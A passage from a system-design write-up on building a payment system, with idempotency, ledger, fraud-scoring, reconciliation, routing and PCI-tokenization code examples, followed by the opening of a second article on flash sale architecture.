| `402 Payment Required`  | Card declined                                | `{"error": {"code": "card_declined", "decline_code": "insufficient_funds"}}` |
| `409 Conflict`          | Idempotency key reused with different params | `{"error": {"code": "idempotency_conflict"}}`                                |
| `429 Too Many Requests` | Rate limit exceeded                          | `{"error": {"code": "rate_limited"}}`                                        |

### Authorize Only (Separate Capture)

```http
POST /api/v1/payments
Idempotency-Key: auth_abc123

{
  "amount": 9999,
  "currency": "usd",
  "payment_method_token": "pm_tok_visa_4242",
  "capture_method": "manual"
}
```

**Response:**

```json
{
  "id": "pay_xyz789",
  "status": "requires_capture",
  "amount_capturable": 9999,
  "capture_before": "2024-03-22T10:00:00Z"
}
```

### Capture Payment

```http
POST /api/v1/payments/{payment_id}/capture
Idempotency-Key: cap_abc123

{
  "amount_to_capture": 9999
}
```

**Partial capture:** Capture less than authorized amount. Remaining authorization is automatically released.

### Refund Payment

```http
POST /api/v1/payments/{payment_id}/refunds
Idempotency-Key: ref_abc123

{
  "amount": 2500,
  "reason": "customer_request",
  "metadata": {
    "support_ticket": "TKT-456"
  }
}
```

**Response:**

```json
{
  "id": "ref_abc456",
  "payment_id": "pay_xyz789",
  "amount": 2500,
  "status": "pending",
  "reason": "customer_request",
  "estimated_arrival": "2024-03-20"
}
```

**Refund timing:** Card refunds take 5-10 business days to appear on customer statement. ACH refunds take 3-5 business days.

### Webhook Events

```http
POST /webhooks/payments
Stripe-Signature: t=1234567890,v1=abc123...

{
  "id": "evt_123",
  "type": "payment_intent.succeeded",
  "data": {
    "object": {
      "id": "pi_xyz",
      "amount": 9999,
      "status": "succeeded"
    }
  },
  "created": 1234567890
}
```

**Critical webhook events:**

| Event                           | Action Required                         |
| ------------------------------- | --------------------------------------- |
| `payment_intent.succeeded`      | Mark order as paid, trigger fulfillment |
| `payment_intent.payment_failed` | Notify customer, retry logic            |
| `charge.refunded`               | Update order status, adjust inventory   |
| `charge.dispute.created`        | Alert fraud team, gather evidence       |
| `payout.paid`                   | Reconcile settlement                    |

## Data Modeling

### Payment Schema (PostgreSQL)

```sql collapse={1-5, 45-55}
-- Core payment record
CREATE TABLE payments (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    external_id VARCHAR(100) UNIQUE NOT NULL,
    idempotency_key VARCHAR(255) UNIQUE NOT NULL,

    -- Amount
    amount_cents BIGINT NOT NULL CHECK (amount_cents > 0),
    currency VARCHAR(3) NOT NULL,
    amount_captured_cents BIGINT DEFAULT 0,
    amount_refunded_cents BIGINT DEFAULT 0,

    -- Status
    status VARCHAR(30) NOT NULL DEFAULT 'pending',
    capture_method VARCHAR(20) NOT NULL,

    -- Payment method (tokenized reference)
    payment_method_id UUID REFERENCES payment_methods(id),
    payment_method_type VARCHAR(20) NOT NULL,

    -- Customer
    customer_id UUID REFERENCES customers(id),

    -- Processor details
    processor VARCHAR(30) NOT NULL,
    processor_payment_id VARCHAR(100),
    auth_code VARCHAR(20),
    decline_code VARCHAR(50),

    -- Risk
    risk_score INTEGER,
    risk_level VARCHAR(20),

    -- Metadata
    description TEXT,
    metadata JSONB DEFAULT '{}',

    -- Timestamps
    created_at TIMESTAMPTZ DEFAULT NOW(),
    authorized_at TIMESTAMPTZ,
    captured_at TIMESTAMPTZ,
    canceled_at TIMESTAMPTZ,

    -- Constraints
    CONSTRAINT valid_status CHECK (status IN (
        'pending', 'requires_action', 'requires_capture',
        'processing', 'succeeded', 'failed', 'canceled'
    ))
);

-- Indexes for common queries
CREATE INDEX idx_payments_customer ON payments(customer_id, created_at DESC);
CREATE INDEX idx_payments_status ON payments(status, created_at DESC);
CREATE INDEX idx_payments_processor ON payments(processor_payment_id);
CREATE INDEX idx_payments_idempotency ON payments(idempotency_key);
```

### Double-Entry Ledger Schema

```sql
-- Accounts in the chart of accounts
CREATE TABLE accounts (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    code VARCHAR(20) UNIQUE NOT NULL,
    name VARCHAR(100) NOT NULL,
    type VARCHAR(20) NOT NULL,  -- asset, liability, revenue, expense
    currency VARCHAR(3) NOT NULL,
    is_active BOOLEAN DEFAULT true
);

-- Ledger entries (immutable)
CREATE TABLE ledger_entries (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    transaction_id UUID NOT NULL,
    account_id UUID NOT NULL REFERENCES accounts(id),
    entry_type VARCHAR(10) NOT NULL,  -- debit or credit
    amount_cents BIGINT NOT NULL CHECK (amount_cents > 0),
    currency VARCHAR(3) NOT NULL,
    description TEXT,
    metadata JSONB DEFAULT '{}',
    created_at TIMESTAMPTZ DEFAULT NOW(),

    -- Reference to source
    payment_id UUID REFERENCES payments(id),
    refund_id UUID REFERENCES refunds(id),
    payout_id UUID REFERENCES payouts(id)
);

CREATE INDEX idx_ledger_transaction ON ledger_entries(transaction_id);
CREATE INDEX idx_ledger_account ON ledger_entries(account_id, created_at DESC);
CREATE INDEX idx_ledger_payment ON ledger_entries(payment_id);
```

### Ledger Entry Examples

**Authorization (hold funds):**

```
Transaction: AUTH-001
├── DEBIT  accounts_receivable  $100.00
└── CREDIT authorization_hold   $100.00
```

**Capture (recognize revenue):**

```
Transaction: CAP-001
├── DEBIT  authorization_hold   $100.00
└── CREDIT revenue              $100.00
```

**Settlement (receive cash):**

```
Transaction: SET-001
├── DEBIT  cash                 $97.10  (after fees)
├── DEBIT  processing_fees      $2.90
└── CREDIT accounts_receivable  $100.00
```

**Refund:**

```
Transaction: REF-001
├── DEBIT  revenue              $50.00
└── CREDIT accounts_receivable  $50.00
```

### Token Vault Schema

```sql
-- Minimal schema for tokenized payment methods
-- Actual PAN/CVV stored in PCI-compliant vault (Stripe, external)
CREATE TABLE payment_methods (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    customer_id UUID NOT NULL REFERENCES customers(id),
    processor VARCHAR(30) NOT NULL,
    processor_token VARCHAR(100) NOT NULL,  -- Stripe pm_xxx

    -- Non-sensitive metadata
    type VARCHAR(20) NOT NULL,  -- card, bank_account, wallet
    card_brand VARCHAR(20),     -- visa, mastercard, amex
    card_last4 VARCHAR(4),
    card_exp_month INTEGER,
    card_exp_year INTEGER,
    card_funding VARCHAR(20),   -- credit, debit, prepaid

    -- Billing
    billing_name VARCHAR(100),
    billing_country VARCHAR(2),
    billing_postal_code VARCHAR(20),

    -- Status
    is_default BOOLEAN DEFAULT false,
    is_active BOOLEAN DEFAULT true,

    created_at TIMESTAMPTZ DEFAULT NOW(),
    updated_at TIMESTAMPTZ DEFAULT NOW(),

    UNIQUE(customer_id, processor_token)
);
```

**PCI scope note:** This schema stores only tokens and non-sensitive metadata. The actual card numbers (PAN) are stored by Stripe/Adyen in their PCI-compliant vaults. Your database never sees or stores raw card data.

### Database Selection Matrix

| Data                     | Store              | Rationale                                 |
| ------------------------ | ------------------ | ----------------------------------------- |
| Payments                 | PostgreSQL         | ACID, complex queries, audit requirements |
| Ledger entries           | PostgreSQL         | Strong consistency, immutable append-only |
| Idempotency keys         | Redis + PostgreSQL | Fast lookup (Redis), durable record (PG)  |
| Payment method tokens    | PostgreSQL         | Referential integrity with customers      |
| Event stream             | Kafka              | High throughput, replay capability        |
| Reconciliation snapshots | S3 + Parquet       | Cost-effective analytics storage          |
| Rate limiting            | Redis              | Sub-ms counters                           |

## Low-Level Design

### Idempotency Implementation

Idempotency prevents duplicate charges when clients retry failed requests. Stripe's implementation serves as the industry reference.

**Request flow:**

![Diagram](./diagram-5.svg)

**Implementation:**

```typescript collapse={1-15, 65-80}
// idempotency-service.ts
import { Redis } from "ioredis"
import { createHash } from "crypto"

interface IdempotencyRecord {
  key: string
  request_hash: string
  response: any
  status: "processing" | "complete" | "error"
  created_at: Date
  expires_at: Date
}

const redis = new Redis(process.env.REDIS_URL)
const IDEMPOTENCY_TTL = 24 * 60 * 60 // 24 hours (Stripe's window)

export async function checkIdempotency(
  key: string,
  requestBody: object,
): Promise<{ exists: boolean; response?: any; conflict?: boolean }> {
  const requestHash = hashRequest(requestBody)

  // Check Redis first (fast path)
  const cached = await redis.get(`idem:${key}`)

  if (!cached) {
    // Key doesn't exist, allow processing
    return { exists: false }
  }

  const record: IdempotencyRecord = JSON.parse(cached)

  // Key exists, check if parameters match
  if (record.request_hash !== requestHash) {
    // Same key, different request = conflict
    return { exists: true, conflict: true }
  }

  // Same key, same request
  if (record.status === "processing") {
    // Request in flight, return 409 to trigger retry
    return { exists: true, conflict: true }
  }

  // Return cached response
  return { exists: true, response: record.response }
}

export async function startIdempotentRequest(key: string, requestBody: object): Promise<boolean> {
  const requestHash = hashRequest(requestBody)

  // Atomic set-if-not-exists
  const result = await redis.set(
    `idem:${key}`,
    JSON.stringify({
      key,
      request_hash: requestHash,
      status: "processing",
      created_at: new Date(),
    }),
    "EX",
    IDEMPOTENCY_TTL,
    "NX", // Only set if not exists
  )

  return result === "OK"
}

export async function completeIdempotentRequest(
  key: string,
  response: any,
  status: "complete" | "error",
): Promise<void> {
  const cached = await redis.get(`idem:${key}`)
  if (!cached) return

  const record: IdempotencyRecord = JSON.parse(cached)
  record.response = response
  record.status = status

  await redis.setex(`idem:${key}`, IDEMPOTENCY_TTL, JSON.stringify(record))

  // Also persist to PostgreSQL for durability
  await db.idempotency_records.upsert({
    key,
    request_hash: record.request_hash,
    response: JSON.stringify(response),
    status,
    expires_at: new Date(Date.now() + IDEMPOTENCY_TTL * 1000),
  })
}

function hashRequest(body: object): string {
  return createHash("sha256").update(JSON.stringify(body)).digest("hex")
}
```

**Payment controller with idempotency:**

```typescript collapse={1-8, 50-60}
// payment-controller.ts
import { checkIdempotency, startIdempotentRequest, completeIdempotentRequest } from "./idempotency-service"

export async function createPayment(req: Request): Promise<Response> {
  const idempotencyKey = req.headers.get("Idempotency-Key")

  if (!idempotencyKey) {
    return errorResponse(400, "idempotency_key_required")
  }

  // Check for existing request
  const check = await checkIdempotency(idempotencyKey, req.body)

  if (check.conflict) {
    return errorResponse(409, "idempotency_conflict")
  }

  if (check.exists && check.response) {
    // Return cached response (including errors)
    return new Response(JSON.stringify(check.response), {
      status: check.response.status_code || 200,
      headers: { "Idempotent-Replayed": "true" },
    })
  }

  // Start processing (atomic lock)
  const acquired = await startIdempotentRequest(idempotencyKey, req.body)
  if (!acquired) {
    // Another request is processing, retry later
    return errorResponse(409, "request_in_progress")
  }

  try {
    // Process payment
    const payment = await processPayment(req.body)

    // Cache successful response
    await completeIdempotentRequest(idempotencyKey, payment, "complete")

    return successResponse(201, payment)
  } catch (error) {
    // Cache error response (prevents retry storms)
    await completeIdempotentRequest(idempotencyKey, { error: error.message }, "error")

    throw error
  }
}
```

**Design decisions:**

| Decision           | Rationale                                                                 |
| ------------------ | ------------------------------------------------------------------------- |
| 24-hour TTL        | Matches Stripe; long enough for debugging, short enough to not accumulate |
| Hash request body  | Detects different requests with same key                                  |
| Cache errors too   | Prevents retry storms for permanent failures                              |
| Redis + PostgreSQL | Redis for speed, PostgreSQL for durability and audit                      |

### Fraud Detection Pipeline

Real-time fraud scoring must complete within 100ms to avoid impacting checkout latency.

**Scoring architecture:**

![Diagram](./diagram-6.svg)

**Feature examples (1000+ per transaction):**

| Category    | Features                                               |
| ----------- | ------------------------------------------------------ |
| Velocity    | Transactions/hour from this card, IP, device           |
| Historical  | Days since first transaction, avg transaction amount   |
| Geolocation | Distance from billing address, IP geolocation mismatch |
| Card        | BIN country, funding type (credit/debit/prepaid)       |
| Device      | Browser fingerprint, screen resolution, timezone       |
| Behavioral  | Time on page before purchase, mouse movement patterns  |

**Stripe Radar reference:**

- 0-99 risk score (0 = lowest risk)
- Default block threshold: 75
- Elevated risk threshold: 65
- Decision time: <100ms
- False positive rate: ~0.1%
- Evaluates 1000+ characteristics per transaction
- Models retrained monthly (0.5% recall improvement per retraining)

**3D Secure integration:**

```typescript collapse={1-10, 45-55}
// 3ds-service.ts
interface ThreeDSResult {
  authentication_status: "success" | "failed" | "attempted" | "not_supported"
  liability_shift: boolean
  eci: string // Electronic Commerce Indicator
}

export async function handle3DSChallenge(
  paymentIntentId: string,
  returnUrl: string,
): Promise<{ requires_action: boolean; redirect_url?: string }> {
  const pi = await stripe.paymentIntents.retrieve(paymentIntentId)

  if (pi.status === "requires_action") {
    // 3DS challenge required
    return {
      requires_action: true,
      redirect_url: pi.next_action?.redirect_to_url?.url,
    }
  }

  return { requires_action: false }
}
```

**3D Secure 2.0 flows:**

| Flow         | Description                        | User Experience     |
| ------------ | ---------------------------------- | ------------------- |
| Frictionless | Risk-based auth, no user input     | Instant (invisible) |
| Challenge    | Biometrics, OTP, push notification | 10-30 seconds       |

**3DS benefits:** Visa research shows 85% reduction in checkout times and 75% reduction in cart abandonment compared to 3DS 1.0. Required for PSD2 SCA compliance in EU.

### Reconciliation Service

Reconciliation ensures internal ledger matches external settlements. Discrepancies indicate bugs, fraud, or processor errors.

**Reconciliation process:**

![Diagram](./diagram-7.svg)

**Implementation:**

```typescript collapse={1-15, 70-85}
// reconciliation-service.ts
interface SettlementRecord {
  external_id: string
  amount_cents: number
  currency: string
  type: "charge" | "refund" | "chargeback"
  settled_at: Date
  fees_cents: number
}

interface ReconciliationResult {
  matched: number
  unmatched_internal: SettlementRecord[]
  unmatched_external: SettlementRecord[]
  amount_discrepancy_cents: number
}

export async function reconcileSettlement(date: Date, processor: string): Promise<ReconciliationResult> {
  // 1. Fetch processor settlement report
  const externalRecords = await fetchSettlementReport(processor, date)

  // 2. Fetch internal ledger entries
  const internalRecords = await fetchLedgerEntries(date, processor)

  // 3. Match by external ID
  const matched: string[] = []
  const unmatchedExternal: SettlementRecord[] = []
  const unmatchedInternal: SettlementRecord[] = []

  const internalMap = new Map(internalRecords.map((r) => [r.external_id, r]))

  for (const ext of externalRecords) {
    const internal = internalMap.get(ext.external_id)

    if (!internal) {
      // Transaction in processor report but not in our ledger
      unmatchedExternal.push(ext)
      continue
    }

    // Verify amounts match
    if (internal.amount_cents !== ext.amount_cents) {
      unmatchedExternal.push(ext)
      unmatchedInternal.push(internal)
      continue
    }

    matched.push(ext.external_id)
    internalMap.delete(ext.external_id)
  }

  // Remaining internal records not in processor report
  for (const [, record] of internalMap) {
    unmatchedInternal.push(record)
  }

  // Calculate total discrepancy
  const externalTotal = externalRecords.reduce((sum, r) => sum + r.amount_cents, 0)
  const internalTotal = internalRecords.reduce((sum, r) => sum + r.amount_cents, 0)

  return {
    matched: matched.length,
    unmatched_internal: unmatchedInternal,
    unmatched_external: unmatchedExternal,
    amount_discrepancy_cents: externalTotal - internalTotal,
  }
}

// Alert on discrepancies
export async function handleReconciliationBreaks(result: ReconciliationResult): Promise<void> {
  if (result.unmatched_external.length > 0) {
    await alertFinanceTeam({
      type: "unmatched_external",
      count: result.unmatched_external.length,
      transactions: result.unmatched_external,
    })
  }

  if (Math.abs(result.amount_discrepancy_cents) > 100) {
    // $1 threshold
    await alertFinanceTeam({
      type: "amount_discrepancy",
      amount_cents: result.amount_discrepancy_cents,
    })
  }
}
```

**Common reconciliation breaks:**

| Break Type           | Cause                          | Resolution                   |
| -------------------- | ------------------------------ | ---------------------------- |
| Missing in ledger    | Webhook missed, race condition | Replay webhook, manual entry |
| Missing in processor | Auth expired, voided           | Close internal record        |
| Amount mismatch      | Partial capture, FX            | Verify capture amount        |
| Duplicate            | Idempotency failure            | Refund duplicate             |
| Timing               | Settlement date rollover       | Verify dates                 |

### Smart Routing Implementation

Smart routing optimizes for authorization rate, cost, or both by selecting the best processor per transaction.

```typescript collapse={1-12, 55-70}
// smart-router.ts
interface RoutingDecision {
  processor: "stripe" | "adyen" | "paypal"
  reason: string
  expected_auth_rate: number
  expected_cost_bps: number // basis points
}

interface TransactionContext {
  card_brand: string
  card_country: string
  card_funding: "credit" | "debit" | "prepaid"
  amount_cents: number
  currency: string
  merchant_country: string
}

export function routeTransaction(ctx: TransactionContext): RoutingDecision {
  // Rule 1: US debit cards - route to lowest-cost network
  if (ctx.card_country === "US" && ctx.card_funding === "debit") {
    return {
      processor: "adyen", // Intelligent routing for US debit
      reason: "us_debit_cost_optimization",
      expected_auth_rate: 0.96,
      expected_cost_bps: 50, // vs 150+ for credit
    }
  }

  // Rule 2: European cards - route to Adyen for local acquiring
  if (["DE", "FR", "GB", "NL", "ES", "IT"].includes(ctx.card_country)) {
    return {
      processor: "adyen",
      reason: "eu_local_acquiring",
      expected_auth_rate: 0.94,
      expected_cost_bps: 180, // Lower cross-border fees
    }
  }

  // Rule 3: High-value transactions - route to processor with best auth rate
  if (ctx.amount_cents > 100000) {
    // > $1000
    return {
      processor: "stripe",
      reason: "high_value_auth_optimization",
      expected_auth_rate: 0.92,
      expected_cost_bps: 290,
    }
  }

  // Default: Stripe
  return {
    processor: "stripe",
    reason: "default",
    expected_auth_rate: 0.9,
    expected_cost_bps: 290,
  }
}

// Failover on processor error
export async function processWithFailover(ctx: TransactionContext, paymentData: PaymentData): Promise<PaymentResult> {
  const primary = routeTransaction(ctx)
  const processors = [primary.processor, ...getFailoverProcessors(primary.processor)]

  for (const processor of processors) {
    try {
      return await processPayment(processor, paymentData)
    } catch (error) {
      if (isRetryableError(error)) {
        continue // Try next processor
      }
      throw error // Non-retryable (e.g., card declined)
    }
  }

  throw new Error("All processors failed")
}
```

**Routing optimization results (Adyen reference):**

- US debit routing: 26% average cost savings
- Authorization rate uplift: 0.22%
- Some merchants: 55% cost savings

## Frontend Considerations

### PCI Scope Reduction

The primary frontend concern is keeping card data out of your servers entirely.

**Tokenization at edge:**

```typescript collapse={1-8, 40-50}
// payment-form.tsx (React example)
import { loadStripe } from "@stripe/stripe-js";
import { Elements, CardElement, useStripe, useElements } from "@stripe/react-stripe-js";

const stripePromise = loadStripe(process.env.NEXT_PUBLIC_STRIPE_KEY);

function CheckoutForm() {
  const stripe = useStripe();
  const elements = useElements();

  const handleSubmit = async (e: FormEvent) => {
    e.preventDefault();

    // Card data goes directly to Stripe, never touches your server
    const { error, paymentMethod } = await stripe.createPaymentMethod({
      type: "card",
      card: elements.getElement(CardElement),
      billing_details: {
        name: "Customer Name",
      },
    });

    if (error) {
      setError(error.message);
      return;
    }

    // Only the token (pm_xxx) goes to your backend
    const response = await fetch("/api/payments", {
      method: "POST",
      body: JSON.stringify({
        payment_method_token: paymentMethod.id,
        amount: 9999,
      }),
    });
  };

  return (
    <form onSubmit={handleSubmit}>
      <CardElement />
      <button type="submit">Pay $99.99</button>
    </form>
  );
}

export function CheckoutPage() {
  return (
    <Elements stripe={stripePromise}>
      <CheckoutForm />
    </Elements>
  );
}
```

**PCI scope impact:**

| Approach                | PCI Level              | Effort                    |
| ----------------------- | ---------------------- | ------------------------- |
| Direct card handling    | SAQ-D (400+ questions) | Months of compliance work |
| Stripe.js iframe        | SAQ-A (22 questions)   | Hours                     |
| Redirect to hosted page | SAQ-A                  | Minimal                   |

### 3D Secure Challenge Handling

```typescript collapse={1-10, 45-55}
// 3ds-handler.ts
import { loadStripe } from "@stripe/stripe-js"

export async function handle3DSChallenge(clientSecret: string): Promise<{ success: boolean; error?: string }> {
  const stripe = await loadStripe(process.env.NEXT_PUBLIC_STRIPE_KEY)

  // This opens the 3DS challenge in a modal/redirect
  const { error, paymentIntent } = await stripe.confirmCardPayment(clientSecret, {
    payment_method: paymentMethodId,
  })

  if (error) {
    // 3DS failed or user canceled
    return { success: false, error: error.message }
  }

  if (paymentIntent.status === "succeeded") {
    return { success: true }
  }

  if (paymentIntent.status === "requires_action") {
    // Additional action needed (rare edge case)
    return await handle3DSChallenge(paymentIntent.client_secret)
  }

  return { success: false, error: "Unexpected payment status" }
}
```

### Error Handling UX

```typescript
// payment-errors.ts
const ERROR_MESSAGES: Record<string, string> = {
  card_declined: "Your card was declined. Please try a different card.",
  insufficient_funds: "Insufficient funds. Please try a different card.",
  expired_card: "Your card has expired. Please update your payment method.",
  incorrect_cvc: "The CVC code is incorrect. Please check and try again.",
  processing_error: "A processing error occurred. Please try again.",
  rate_limited: "Too many attempts. Please wait a moment and try again.",
}

export function getErrorMessage(declineCode: string): string {
  return ERROR_MESSAGES[declineCode] || "Payment failed. Please try again."
}
```

## Infrastructure Design

### Cloud-Agnostic Components

| Component           | Purpose                   | Requirements                       |
| ------------------- | ------------------------- | ---------------------------------- |
| API Gateway         | Rate limiting, auth       | High availability, DDoS protection |
| Application servers | Payment processing        | Horizontal scaling, idempotent     |
| Primary database    | Payments, ledger          | ACID, strong consistency           |
| Cache               | Idempotency, sessions     | Sub-ms latency                     |
| Message queue       | Async processing          | Exactly-once, durable              |
| Event stream        | Audit, analytics          | High throughput, retention         |
| Secrets manager     | API keys, encryption keys | HSM-backed, audit logging          |

### AWS Reference Architecture

![Diagram](./diagram-8.svg)

**Service configuration:**

| Service           | Configuration                      | Rationale                |
| ----------------- | ---------------------------------- | ------------------------ |
| RDS PostgreSQL    | db.r6g.xlarge, Multi-AZ, encrypted | ACID, HA, compliance     |
| ElastiCache Redis | r6g.large, cluster mode, 3 nodes   | Idempotency, low latency |
| ECS Fargate       | 2 vCPU, 4GB, auto-scaling 2-20     | Predictable performance  |
| SQS FIFO          | 3000 msg/sec                       | Exactly-once webhooks    |
| KMS               | Customer-managed keys              | Encryption key control   |
| CloudWatch        | 1-minute metrics, alarms           | Observability            |

### Self-Hosted Alternatives

| Managed Service | Self-Hosted          | Trade-off                          |
| --------------- | -------------------- | ---------------------------------- |
| RDS PostgreSQL  | PostgreSQL on EC2    | More control, operational burden   |
| ElastiCache     | Redis Cluster on EC2 | Cost at scale                      |
| SQS FIFO        | Kafka                | Higher throughput, complexity      |
| Secrets Manager | HashiCorp Vault      | Full control, operational overhead |

## Variations

### ACH/Bank Transfer Processing

ACH has fundamentally different timing and failure modes than cards.

```typescript
// ach-payment.ts
interface ACHPayment {
  routing_number: string
  account_number: string // tokenized
  account_type: "checking" | "savings"
}

export async function initiateACHPayment(
  payment: ACHPayment,
  amount: number,
): Promise<{ status: string; estimated_settlement: Date }> {
  // ACH is batch-processed, not real-time
  const transfer = await stripe.paymentIntents.create({
    amount,
    currency: "usd",
    payment_method_types: ["us_bank_account"],
    payment_method_data: {
      type: "us_bank_account",
      us_bank_account: {
        routing_number: payment.routing_number,
        account_number: payment.account_number,
        account_holder_type: "individual",
      },
    },
  })

  return {
    status: "processing",
    estimated_settlement: addBusinessDays(new Date(), 3), // Same-day ACH: same day
  }
}
```

**ACH timing:**

| Type         | Submission Deadline | Settlement        |
| ------------ | ------------------- | ----------------- |
| Same-Day ACH | 4:45 PM ET          | Same day by 5 PM  |
| Next-Day ACH | 2:15 PM ET          | Next business day |
| Standard ACH | Varies              | 2-3 business days |

**ACH failure modes:**

- NSF (Non-Sufficient Funds): Returns after 2-3 days
- Account closed: Returns after settlement attempt
- Invalid account: Returns within 24 hours

### Subscription/Recurring Billing

```typescript collapse={1-12, 50-65}
// subscription-service.ts
interface Subscription {
  id: string
  customer_id: string
  plan_id: string
  status: "active" | "past_due" | "canceled"
  current_period_end: Date
  payment_method_id: string
}

const RETRY_SCHEDULE = [1, 3, 5, 7] // Days after failure

export async function processSubscriptionRenewal(subscription: Subscription): Promise<void> {
  const plan = await getPlan(subscription.plan_id)

  try {
    const payment = await createPayment({
      amount: plan.amount_cents,
      currency: plan.currency,
      customer_id: subscription.customer_id,
      payment_method_id: subscription.payment_method_id,
      idempotency_key: `sub_${subscription.id}_${subscription.current_period_end.toISOString()}`,
    })

    if (payment.status === "succeeded") {
      await extendSubscription(subscription.id)
    }
  } catch (error) {
    if (isDeclinedError(error)) {
      await markSubscriptionPastDue(subscription.id)
      await scheduleRetry(subscription.id, RETRY_SCHEDULE[0])
      await notifyCustomerPaymentFailed(subscription.customer_id)
    }
  }
}

async function handleRetry(subscriptionId: string, attemptNumber: number): Promise<void> {
  const subscription = await getSubscription(subscriptionId)

  try {
    await processSubscriptionRenewal(subscription)
  } catch (error) {
    if (attemptNumber < RETRY_SCHEDULE.length) {
      await scheduleRetry(subscriptionId, RETRY_SCHEDULE[attemptNumber])
    } else {
      // Final attempt failed
      await cancelSubscription(subscriptionId, "payment_failed")
      await notifyCustomerCanceled(subscription.customer_id)
    }
  }
}
```

### Multi-Currency and FX

```typescript
// fx-service.ts
interface FXQuote {
  from_currency: string
  to_currency: string
  rate: number
  expires_at: Date
}

export async function getQuote(fromCurrency: string, toCurrency: string, amount: number): Promise<FXQuote> {
  // FX rates are volatile, quote expires quickly
  const rate = await fetchCurrentRate(fromCurrency, toCurrency)

  return {
    from_currency: fromCurrency,
    to_currency: toCurrency,
    rate,
    expires_at: new Date(Date.now() + 60 * 1000), // 60 second quote
  }
}

export async function captureWithFX(paymentId: string, quote: FXQuote): Promise<void> {
  if (new Date() > quote.expires_at) {
    throw new Error("FX quote expired")
  }

  // Lock in rate at capture time
  await capturePayment(paymentId, {
    fx_rate: quote.rate,
    settlement_currency: quote.to_currency,
  })
}
```

## Conclusion

Payment system design requires balancing competing concerns across multiple dimensions:

1. **Idempotency is non-negotiable** — Every payment operation must be safely retriable. Idempotency keys with request hashing prevent duplicate charges during network failures or client retries.

2. **PCI scope reduction saves engineering effort** — Edge tokenization (Stripe.js, Adyen Web Components) keeps card data off your servers, reducing PCI questionnaire from 400+ questions to 22.

3. **Fraud decisions must be fast** — Sub-100ms scoring using ML models (Stripe Radar processes 1000+ features per transaction) balances security with checkout conversion.

4. **Double-entry ledger ensures audit readiness** — Every fund movement (auth, capture, refund, settlement) recorded with debits equaling credits enables reconciliation and compliance.

5. **Smart routing optimizes cost and auth rates** — Multi-processor setups with intelligent routing can achieve 26%+ cost savings (Adyen US debit routing) while improving authorization rates.

**What this design optimizes for:**

- Zero duplicate charges (idempotency)
- PCI scope minimization (edge tokenization)
- High authorization rates (smart routing)
- Financial accuracy (double-entry ledger)
- Operational resilience (failover, reconciliation)

**What it sacrifices:**

- Simplicity (multi-processor complexity)
- Latency (fraud scoring adds ~100ms)
- Cost (third-party processor fees vs in-house)

**Known limitations:**

- Webhook reliability depends on processor—implement webhook replay mechanisms
- FX rates are volatile—quote expiration must be enforced
- Chargeback handling requires manual evidence gathering
- ACH failures surface days after initiation

## Appendix

### Prerequisites

- RESTful API design principles
- Database transactions and ACID guarantees
- Distributed systems basics (idempotency, exactly-once delivery)
- Basic understanding of card payment networks

### Terminology

- **PAN** (Primary Account Number): The 16-digit card number
- **PCI DSS** (Payment Card Industry Data Security Standard): Security standard for card data handling
- **SAQ** (Self-Assessment Questionnaire): PCI compliance verification form
- **Interchange**: Fee paid by acquirer to issuer on each transaction (1.4-2.6% typical)
- **Authorization**: Hold placed on cardholder's available credit
- **Capture**: Finalization of authorized transaction for settlement
- **Settlement**: Transfer of funds from issuer to acquirer to merchant
- **3D Secure**: Protocol for authenticating card-not-present transactions
- **SCA** (Strong Customer Authentication): EU PSD2 requirement for two-factor auth
- **ACH** (Automated Clearing House): US bank-to-bank transfer network
- **Chargeback**: Disputed transaction reversed by card network

### Summary

- Payment systems require **idempotent operations** with 24-hour key retention (Stripe's standard)
- **Edge tokenization** (Stripe.js/Adyen Web Components) reduces PCI scope from SAQ-D to SAQ-A
- **Fraud scoring** must complete in <100ms, evaluating 1000+ features per transaction
- **Double-entry ledger** tracks every fund movement: authorization holds, captures, refunds, settlements
- **Smart routing** across multiple processors can achieve 26% cost savings on US debit
- **Reconciliation** matches internal ledger against processor settlements daily
- **3D Secure 2.0** enables frictionless authentication with 85% checkout time reduction

### References

- [Stripe API Documentation](https://docs.stripe.com/api) - Comprehensive payment API reference
- [Stripe: Designing robust APIs with idempotency](https://stripe.com/blog/idempotency) - Idempotency key implementation patterns
- [Stripe Radar: Machine learning for fraud detection](https://stripe.com/guides/primer-on-machine-learning-for-fraud-protection) - ML fraud scoring architecture
- [PCI Security Standards Council](https://www.pcisecuritystandards.org/) - PCI DSS 4.0 requirements
- [Adyen: Intelligent Payment Routing](https://www.adyen.com/press-and-media/adyens-intelligent-payment-routing-usdebit) - Smart routing cost savings data
- [Stripe: 3D Secure 2 Guide](https://stripe.com/guides/3d-secure-2) - 3DS implementation patterns
- [Nacha: How ACH Payments Work](https://www.nacha.org/content/how-ach-payments-work) - ACH network specifications
- [Visa: Credit Card Processing](https://usa.visa.com/support/small-business/regulations-fees.html) - Card network processing details
- [Martin Fowler: Patterns of Enterprise Application Architecture](https://martinfowler.com/eaaCatalog/) - Double-entry accounting patterns

---

## Design a Flash Sale System

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-problems/design-flash-sale-system
**Category:** System Design / System Design Problems
**Description:** Building a system to handle millions of concurrent users competing for limited inventory during time-bounded sales events. Flash sales present a unique challenge: extreme traffic spikes (10-100x normal) concentrated in seconds, with zero tolerance for inventory errors. This design covers virtual waiting rooms, atomic inventory management, and asynchronous order processing.

# Design a Flash Sale System

Building a system to handle millions of concurrent users competing for limited inventory during time-bounded sales events. Flash sales present a unique challenge: extreme traffic spikes (10-100x normal) concentrated in seconds, with zero tolerance for inventory errors. This design covers virtual waiting rooms, atomic inventory management, and asynchronous order processing.

<figure>

![Flash sale system architecture: CDN-based waiting room absorbs traffic spike, queue service manages admission, Redis handles atomic inventory, message queue decouples order processing.](./flash-sale-system-architecture-cdn-based-waiting-room-absorbs-traffic-spike-queu.svg)

<figcaption>Flash sale system architecture: CDN-based waiting room absorbs traffic spike, queue service manages admission, Redis handles atomic inventory, message queue decouples order processing.</figcaption>
</figure>

## Abstract

Flash sale design centers on three constraints working against each other:

1. **Traffic absorption** — Millions of users arriving in seconds cannot hit your database directly. A CDN-hosted waiting room absorbs the spike; a queue service meters admission at backend capacity.

2. **Inventory accuracy** — Overselling destroys trust. Redis Lua scripts provide atomic "check-and-decrement" operations. Pre-allocation (tokens = inventory) bounds the problem.

